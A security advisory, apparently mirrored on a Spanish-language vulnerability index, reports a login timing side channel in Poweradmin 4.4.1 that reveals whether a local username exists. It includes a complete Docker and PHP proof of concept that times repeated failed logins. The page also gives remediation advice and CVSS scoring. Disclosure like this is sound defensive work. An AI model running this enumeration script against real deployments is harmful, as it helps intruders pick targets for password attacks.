GHSA-G6PJ-C97V-5VR9
Login response timing reveals whether a local username exists
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G6PJ-C97V-5VR9 divulgada · CVSS 6.9 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Login response timing reveals whether a local username exists
Submission metadata
- Repository: `poweradmin/poweradmin`
- Package: ecosystem `other`, name `poweradmin`
- Affected version range: `= 4.4.1`
- Verified revision: `7a790094d4e7726552ab861e42cbcb77e52fdaef` on 30 August 2026
- Release limitation: the verified post-release source identifies as 4.4.1; no published 4.4.1 artifact was reproduced
- Delivery state: local report only; not submitted
Summary
The SQL authenticator returns immediately when a submitted username does not exist, but runs the configured cost-12 bcrypt verification when the username belongs to a local account. The rendered failure response is otherwise indistinguishable. An unauthenticated caller can use the repeatable response-time gap to confirm guessed local usernames.
Impact and affected scope
- Type: observable timing discrepancy / username enumeration (CWE-208)
- Preconditions: network reachability to the login form and repeated samples for a guessed identifier
- Verified impact: disclosure of whether a guessed local-password account exists
Network latency can require more samples, and the report does not claim password disclosure or authentication bypass.
Technical details
The nonexistent-user branch exits before password verification. The existing-user branch evaluates the same wrong password through bcrypt, creating a stable computational difference. The reproduction alternates order, performs warmups, normalizes dynamic response fields, confirms identical visible failure messages, and evaluates the timing distributions rather than relying on one request.
Public duplicate review on 30 August 2026 covered current advisories, issues, pull requests, releases/changelog and public CVE/GHSA records for login enumeration and timing. No equivalent public item was found; absence of a result is not proof of novelty.
Reproduction
Run only in an authorized disposable environment with Git and Docker. The fixture creates one known local account and one absent name, then submits only wrong passwords.
Create `reproduction/Dockerfile`:
FROM wordpress:6.8.2-php8.2-apache@sha256:9973c15252ea54260c711e1074c96864acabebda379c664e812fa9bfe6fef268
# The cached base already provides PHP, curl, intl, and PDO SQLite. Poweradmin
# additionally requires the PHP gettext extension.
RUN docker-php-ext-install -j1 gettext
WORKDIR /reproduction
COPY container_reproduce.sh measure.php router.php settings.php setup.php /reproduction/
RUN chmod 0755 /reproduction/container_reproduce.sh
ENTRYPOINT ["/reproduction/container_reproduce.sh"]Create `reproduction/container_reproduce.sh`:
#!/bin/sh
set -eu
TARGET_REPO="/target-repo"
WORK_ROOT="/work"
APP_DIR="$WORK_ROOT/app"
DATABASE_FILE="$WORK_ROOT/poweradmin.sqlite"
SERVER_LOG="$WORK_ROOT/php-server.log"
if [ ! -f "$TARGET_REPO/index.php" ] || [ ! -f "$TARGET_REPO/composer.json" ]; then
echo "ERROR: the pinned repository must be mounted read-only at /target-repo" >&2
exit 1
fi
mkdir -p "$WORK_ROOT"
cp -a "$TARGET_REPO/." "$APP_DIR"
# The source distribution includes the installer. A completed deployment does
# not, and LoginController intentionally suppresses the login form while it is
# present. Rename it only in the disposable container copy.
if [ -d "$APP_DIR/install" ]; then
mv "$APP_DIR/install" "$APP_DIR/.install-disabled-for-reproduction"
fi
php /reproduction/setup.php \
"$APP_DIR/sql/poweradmin-sqlite-db-structure.sql" \
"$DATABASE_FILE"
export PA_CONFIG_PATH="/reproduction/settings.php"
export POC_APP_DIR="$APP_DIR"
cd "$APP_DIR"
php -d display_errors=0 -d log_errors=1 \
-S 127.0.0.1:8080 /reproduction/router.php \
>"$SERVER_LOG" 2>&1 &
server_pid=$!
stop_server() {
kill "$server_pid" >/dev/null 2>&1 || true
wait "$server_pid" >/dev/null 2>&1 || true
}
trap stop_server EXIT INT TERM
if php /reproduction/measure.php "http://127.0.0.1:8080/login"; then
exit 0
else
status=$?
fi
echo "--- application server log ---" >&2
tail -100 "$SERVER_LOG" >&2 || true
exit "$status"Create `reproduction/measure.php`:
<?php
declare(strict_types=1);
const KNOWN_USERNAME = 'known_local_user';
const UNKNOWN_USERNAME = 'poc_absent_user_5092b7af';
const WRONG_PASSWORD = 'DefinitelyWrongPassword!';
const SAMPLE_COUNT = 18;
const WARMUP_COUNT = 3;
if ($argc !== 2) {
fwrite(STDERR, "Usage: measure.php LOGIN_URL\n");
exit(1);
}
$loginUrl = $argv[1];
$cookieJar = tempnam(sys_get_temp_dir(), 'poc-cookie-');
if ($cookieJar === false) {
fwrite(STDERR, "Unable to create cookie jar\n");
exit(1);
}
register_shutdown_function(static function () use ($cookieJar): void {
@unlink($cookieJar);
});
/** @return array{body:string,status:int,url:string} */
function request(string $url, string $cookieJar, ?array $postFields = null): array
{
$handle = curl_init($url);
if ($handle === false) {
throw new RuntimeException('curl_init failed');
}
curl_setopt_array($handle, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_TIMEOUT => 15,
CURLOPT_COOKIEFILE => $cookieJar,
CURLOPT_COOKIEJAR => $cookieJar,
CURLOPT_USERAGENT => 'PoC-login-timing-validation/1.0',
]);
if ($postFields !== null) {
curl_setopt($handle, CURLOPT_POST, true);
curl_setopt($handle, CURLOPT_POSTFIELDS, http_build_query($postFields));
curl_setopt($handle, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
]);
}
$body = curl_exec($handle);
if ($body === false) {
$error = curl_error($handle);
curl_close($handle);
throw new RuntimeException('HTTP request failed: ' . $error);
}
$result = [
'body' => $body,
'status' => (int) curl_getinfo($handle, CURLINFO_RESPONSE_CODE),
'url' => (string) curl_getinfo($handle, CURLINFO_EFFECTIVE_URL),
];
curl_close($handle);
return $result;
}
function waitForLogin(string $url, string $cookieJar): void
{
$lastError = 'not attempted';
for ($attempt = 0; $attempt < 40; $attempt++) {
try {
$response = request($url, $cookieJar);
if ($response['status'] === 200 && str_contains($response['body'], 'name="_token"')) {
return;
}
$lastError = 'HTTP ' . $response['status'] . ' without a login token';
} catch (Throwable $error) {
$lastError = $error->getMessage();
}
usleep(100_000);
}
throw new RuntimeException('Login endpoint did not become ready: ' . $lastError);
}
/** @return array{elapsed_ms:float,status:int,url:string,body:string} */
function loginAttempt(string $url, string $cookieJar, string $username): array
{
$form = request($url, $cookieJar);
if ($form['status'] !== 200) {
throw new RuntimeException('GET /login returned HTTP ' . $form['status']);
}
if (!preg_match('/name="_token"\s+value="([^"]+)"/', $form['body'], $matches)) {
throw new RuntimeException('Unable to extract login CSRF token');
}
$start = hrtime(true);
$response = request($url, $cookieJar, [
'_token' => html_entity_decode($matches[1], ENT_QUOTES | ENT_HTML5),
'query_string' => '',
'username' => $username,
'password' => WRONG_PASSWORD,
'userlang' => 'en_EN',
'authenticate' => '1',
]);
$elapsedMs = (hrtime(true) - $start) / 1_000_000;
return [
'elapsed_ms' => $elapsedMs,
'status' => $response['status'],
'url' => $response['url'],
'body' => $response['body'],
];
}
function normalizeBody(string $body): string
{
$normalized = preg_replace(
[
'/(name="_token"\s+value=")[^"]*(")/',
'/([?&]time=)\d+/',
],
[
'$1<DYNAMIC_LOGIN_TOKEN>$2',
'$1<DYNAMIC_ASSET_VERSION>',
],
$body
);
if ($normalized === null) {
throw new RuntimeException('Response normalization failed');
}
return str_replace(["\r\n", "\r"], "\n", $normalized);
}
function failureMessage(string $body): string
{
if (!preg_match('/data-testid="session-error".*?<span[^>]*>(.*?)<\/span>/s', $body, $matches)) {
return '';
}
return trim(html_entity_decode(strip_tags($matches[1]), ENT_QUOTES | ENT_HTML5));
}
/** @param list<float> $values */
function mean(array $values): float
{
return array_sum($values) / count($values);
}
/** @param list<float> $values */
function sampleVariance(array $values): float
{
$mean = mean($values);
$squared = array_map(static fn(float $value): float => ($value - $mean) ** 2, $values);
return array_sum($squared) / (count($values) - 1);
}
/** @param list<float> $values */
function percentile(array $values, float $fraction): float
{
sort($values, SORT_NUMERIC);
$position = $fraction * (count($values) - 1);
$lower = (int) floor($position);
$upper = (int) ceil($position);
if ($lower === $upper) {
return $values[$lower];
}
$weight = $position - $lower;
return $values[$lower] * (1 - $weight) + $values[$upper] * $weight;
}
function rounded(float $value): float
{
return round($value, 3);
}
try {
waitForLogin($loginUrl, $cookieJar);
for ($i = 0; $i < WARMUP_COUNT; $i++) {
loginAttempt($loginUrl, $cookieJar, KNOWN_USERNAME);
loginAttempt($loginUrl, $cookieJar, UNKNOWN_USERNAME);
}
$timings = ['known' => [], 'unknown' => []];
$responseHashes = ['known' => [], 'unknown' => []];
$normalizedBodies = ['known' => [], 'unknown' => []];
$messages = ['known' => [], 'unknown' => []];
$statuses = ['known' => [], 'unknown' => []];
$finalPaths = ['known' => [], 'unknown' => []];
for ($sample = 0; $sample < SAMPLE_COUNT; $sample++) {
$order = $sample % 2 === 0 ? ['known', 'unknown'] : ['unknown', 'known'];
foreach ($order as $kind) {
$username = $kind === 'known' ? KNOWN_USERNAME : UNKNOWN_USERNAME;
$attempt = loginAttempt($loginUrl, $cookieJar, $username);
$timings[$kind][] = $attempt['elapsed_ms'];
$normalizedBody = normalizeBody($attempt['body']);
$normalizedBodies[$kind][] = $normalizedBody;
$responseHashes[$kind][] = hash('sha256', $normalizedBody);
$messages[$kind][] = failureMessage($attempt['body']);
$statuses[$kind][] = $attempt['status'];
$finalPaths[$kind][] = parse_url($attempt['url'], PHP_URL_PATH) ?: '';
}
}
$knownMean = mean($timings['known']);
$unknownMean = mean($timings['unknown']);
$knownMedian = percentile($timings['known'], 0.5);
$unknownMedian = percentile($timings['unknown'], 0.5);
$tailGap = percentile($timings['known'], 0.10) - percentile($timings['unknown'], 0.90);
$welchDenominator = sqrt(
sampleVariance($timings['known']) / SAMPLE_COUNT
+ sampleVariance($timings['unknown']) / SAMPLE_COUNT
);
$welchT = $welchDenominator > 0
? ($knownMean - $unknownMean) / $welchDenominator
: INF;
$allHashes = array_merge($responseHashes['known'], $responseHashes['unknown']);
$responsesNormalizedEqual = count(array_unique($allHashes)) === 1;
$messagesEqualAndGeneric = count(array_unique(array_merge($messages['known'], $messages['unknown']))) === 1
&& $messages['known'][0] === 'Authentication failed!';
$transportEqual = count(array_unique(array_merge($statuses['known'], $statuses['unknown']))) === 1
&& $statuses['known'][0] === 200
&& count(array_unique(array_merge($finalPaths['known'], $finalPaths['unknown']))) === 1
&& $finalPaths['known'][0] === '/login';
// These conservative gates require both broad distribution separation and
// a large standardized mean difference. They avoid declaring success from
// a single slow request or scheduler outlier.
$statisticallyDecisive = $tailGap >= 75.0
&& $knownMedian >= ($unknownMedian * 3.0)
&& $welchT >= 10.0;
$result = [
'target_commit' => '7a790094d4e7726552ab861e42cbcb77e52fdaef',
'endpoint' => '/login',
'configuration' => [
'password_encryption' => 'bcrypt',
'password_cost' => 12,
'account_lockout_enabled' => false,
'recaptcha_enabled' => false,
],
'samples_per_class' => SAMPLE_COUNT,
'known_local_user_ms' => [
'samples' => array_map('rounded', $timings['known']),
'mean' => rounded($knownMean),
'median' => rounded($knownMedian),
'p10' => rounded(percentile($timings['known'], 0.10)),
],
'unknown_user_ms' => [
'samples' => array_map('rounded', $timings['unknown']),
'mean' => rounded($unknownMean),
'median' => rounded($unknownMedian),
'p90' => rounded(percentile($timings['unknown'], 0.90)),
],
'separation' => [
'p10_known_minus_p90_unknown_ms' => rounded($tailGap),
'median_ratio' => rounded($knownMedian / max($unknownMedian, 0.001)),
'welch_t_statistic' => rounded($welchT),
],
'response_normalization' => [
'http_status' => 200,
'final_path' => '/login',
'generic_message' => 'Authentication failed!',
'normalized_bodies_identical' => $responsesNormalizedEqual,
'normalized_body_sha256' => $allHashes[0],
],
'gates' => [
'transport_equal' => $transportEqual,
'message_equal_and_generic' => $messagesEqualAndGeneric,
'normalized_bodies_equal' => $responsesNormalizedEqual,
'statistically_decisive' => $statisticallyDecisive,
],
];
echo json_encode($result, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n";
if (!$transportEqual || !$messagesEqualAndGeneric || !$responsesNormalizedEqual || !$statisticallyDecisive) {
if (!$responsesNormalizedEqual) {
$left = $normalizedBodies['known'][0];
$right = $normalizedBodies['unknown'][0];
$limit = min(strlen($left), strlen($right));
$offset = 0;
while ($offset < $limit && $left[$offset] === $right[$offset]) {
$offset++;
}
fwrite(STDERR, sprintf(
"Normalized body diagnostic: known_unique=%d unknown_unique=%d first_cross_class_diff=%d known_length=%d unknown_length=%d\n",
count(array_unique($normalizedBodies['known'])),
count(array_unique($normalizedBodies['unknown'])),
$offset,
strlen($left),
strlen($right)
));
fwrite(STDERR, 'Known context: ' . json_encode(substr($left, max(0, $offset - 60), 160)) . "\n");
fwrite(STDERR, 'Unknown context: ' . json_encode(substr($right, max(0, $offset - 60), 160)) . "\n");
}
fwrite(STDERR, "POC_FAILURE: response equivalence or timing-separation gate failed\n");
exit(1);
}
echo "POC_SUCCESS: normalized login failures disclose local-account existence by timing\n";
} catch (Throwable $error) {
fwrite(STDERR, "POC_FAILURE: {$error->getMessage()}\n");
exit(1);
}Create `reproduction/router.php`:
<?php
declare(strict_types=1);
$appDir = getenv('POC_APP_DIR') ?: '/work/app';
$path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?: '/';
$staticFile = $appDir . $path;
if ($path !== '/' && is_file($staticFile)) {
return false;
}
require $appDir . '/index.php';Create `reproduction/run.sh`:
#!/bin/sh
set -eu
PINNED_COMMIT="7a790094d4e7726552ab861e42cbcb77e52fdaef"
REPOSITORY_URL="https://github.com/poweradmin/poweradmin.git"
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
FINDING_DIR=$(CDPATH= cd -- "$SCRIPT_DIR/.." && pwd)
FINDING_PARENT=$(CDPATH= cd -- "$FINDING_DIR/.." && pwd)
if [ "$(basename "$FINDING_PARENT")" = "artifacts" ]; then
SESSION_DIR=$(CDPATH= cd -- "$FINDING_PARENT/.." && pwd)
else
SESSION_DIR="$FINDING_PARENT"
fi
CASE_ID=$(basename "$SESSION_DIR" | tr '[:upper:]_' '[:lower:]-' | tr -cd 'a-z0-9-')
FINDING_NAME=$(basename "$FINDING_DIR" | tr '[:upper:]_' '[:lower:]-' | tr -cd 'a-z0-9-')
IMAGE_TAG="poc-${CASE_ID}-${FINDING_NAME}"
# Keep the disposable checkout beside the bundle so Docker Desktop can bind it
# on hosts where the OS-specific TMPDIR is outside Docker's shared paths.
TEMP_ROOT=$(mktemp -d "$SESSION_DIR/.poc-login-timing.XXXXXX")
CHECKOUT_DIR="$TEMP_ROOT/target-repo"
IMAGE_BUILT=0
cleanup() {
status=$?
trap - EXIT INT TERM
if [ "$IMAGE_BUILT" -eq 1 ]; then
docker image rm "$IMAGE_TAG" >/dev/null 2>&1 || true
fi
rm -rf -- "$TEMP_ROOT"
exit "$status"
}
trap cleanup EXIT INT TERM
command -v git >/dev/null 2>&1 || {
echo "ERROR: git is required" >&2
exit 1
}
command -v docker >/dev/null 2>&1 || {
echo "ERROR: docker is required" >&2
exit 1
}
echo "[1/3] Cloning Poweradmin and checking out $PINNED_COMMIT"
git clone --quiet --filter=blob:none --no-checkout "$REPOSITORY_URL" "$CHECKOUT_DIR"
git -C "$CHECKOUT_DIR" fetch --quiet --depth=1 origin "$PINNED_COMMIT"
# Materialize only the application runtime closure. Cone-mode sparse checkout
# also retains the required root files such as index.php and composer.json.
git -C "$CHECKOUT_DIR" sparse-checkout init --cone
git -C "$CHECKOUT_DIR" sparse-checkout set \
assets config data lib locale sql templates vendor
git -C "$CHECKOUT_DIR" checkout --quiet --detach FETCH_HEAD
actual_commit=$(git -C "$CHECKOUT_DIR" rev-parse HEAD)
if [ "$actual_commit" != "$PINNED_COMMIT" ]; then
echo "ERROR: expected $PINNED_COMMIT, checked out $actual_commit" >&2
exit 1
fi
echo "[2/3] Building $IMAGE_TAG"
docker build --tag "$IMAGE_TAG" "$SCRIPT_DIR"
IMAGE_BUILT=1
echo "[3/3] Running repeated HTTP timing validation"
docker run --rm \
--mount "type=bind,src=$CHECKOUT_DIR,dst=/target-repo,readonly" \
"$IMAGE_TAG"Create `reproduction/settings.php`:
<?php
declare(strict_types=1);
return [
'database' => [
'type' => 'sqlite',
'file' => '/work/poweradmin.sqlite',
'debug' => false,
],
'security' => [
'session_key' => 'poc-reproduction-session-key-2026',
'password_encryption' => 'bcrypt',
'password_cost' => 12,
'login_token_validation' => true,
'global_token_validation' => true,
'account_lockout' => [
'enable_lockout' => false,
],
'mfa' => [
'enabled' => false,
],
'recaptcha' => [
'enabled' => false,
],
],
'interface' => [
'language' => 'en_EN',
'enabled_languages' => 'en_EN',
'base_url_prefix' => '',
],
'logging' => [
'type' => 'null',
'level' => 'error',
'database_enabled' => false,
'syslog_enabled' => false,
],
'ldap' => [
'enabled' => false,
],
'oidc' => [
'enabled' => false,
],
'saml' => [
'enabled' => false,
],
'misc' => [
'display_errors' => false,
'display_stats' => false,
],
];Create `reproduction/setup.php`:
<?php
declare(strict_types=1);
if ($argc !== 3) {
fwrite(STDERR, "Usage: setup.php SCHEMA_FILE DATABASE_FILE\n");
exit(1);
}
[$script, $schemaFile, $databaseFile] = $argv;
$schema = file_get_contents($schemaFile);
if ($schema === false) {
fwrite(STDERR, "Unable to read SQLite schema: {$schemaFile}\n");
exit(1);
}
$pdo = new PDO('sqlite:' . $databaseFile);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->exec($schema);
$passwordHash = password_hash(
'CorrectHorseBatteryStaple!',
PASSWORD_BCRYPT,
['cost' => 12]
);
if ($passwordHash === false) {
fwrite(STDERR, "Unable to create the cost-12 bcrypt fixture\n");
exit(1);
}
$statement = $pdo->prepare(
'INSERT INTO users '
. '(id, username, password, fullname, email, description, perm_templ, active, use_ldap, auth_method) '
. 'VALUES (1, :username, :password, :fullname, :email, :description, 1, 1, 0, :auth_method)'
);
$statement->execute([
':username' => 'known_local_user',
':password' => $passwordHash,
':fullname' => 'Known Local User',
':email' => 'known@example.invalid',
':description' => 'PoC timing fixture',
':auth_method' => 'sql',
]);
echo "Initialized SQLite with one active local user and bcrypt cost 12\n";From the directory containing `reproduction/`:
chmod +x reproduction/run.sh reproduction/container_reproduce.sh
./reproduction/run.shExpected: failed authentication for an existing and nonexistent username should have comparable computational cost and timing.
Observed: the verifier records 18 interleaved samples per population, requires identical status/path/message and normalized failure bodies, and exits only when its conservative timing separation checks pass. It prints a `POC_SUCCESS` timing summary with the measured distributions.
Suggested remediation
When a local username is absent, verify the supplied password against a fixed dummy bcrypt hash with the same configured cost before returning the generic failure. Preserve the same response body and add a regression test that compares statistically robust sample distributions.
Severity
CVSS v4.0: 6.9 (Medium) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation. The score was recalculated against FIRST's CVSS v4.0 calculator on 30 August 2026.
Disclosure context and attribution
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 3.9.12, 4.2.6, 4.3.5, 4.4.1 | — | — |
3.9.124.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-g6pj-c97v-5vr9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
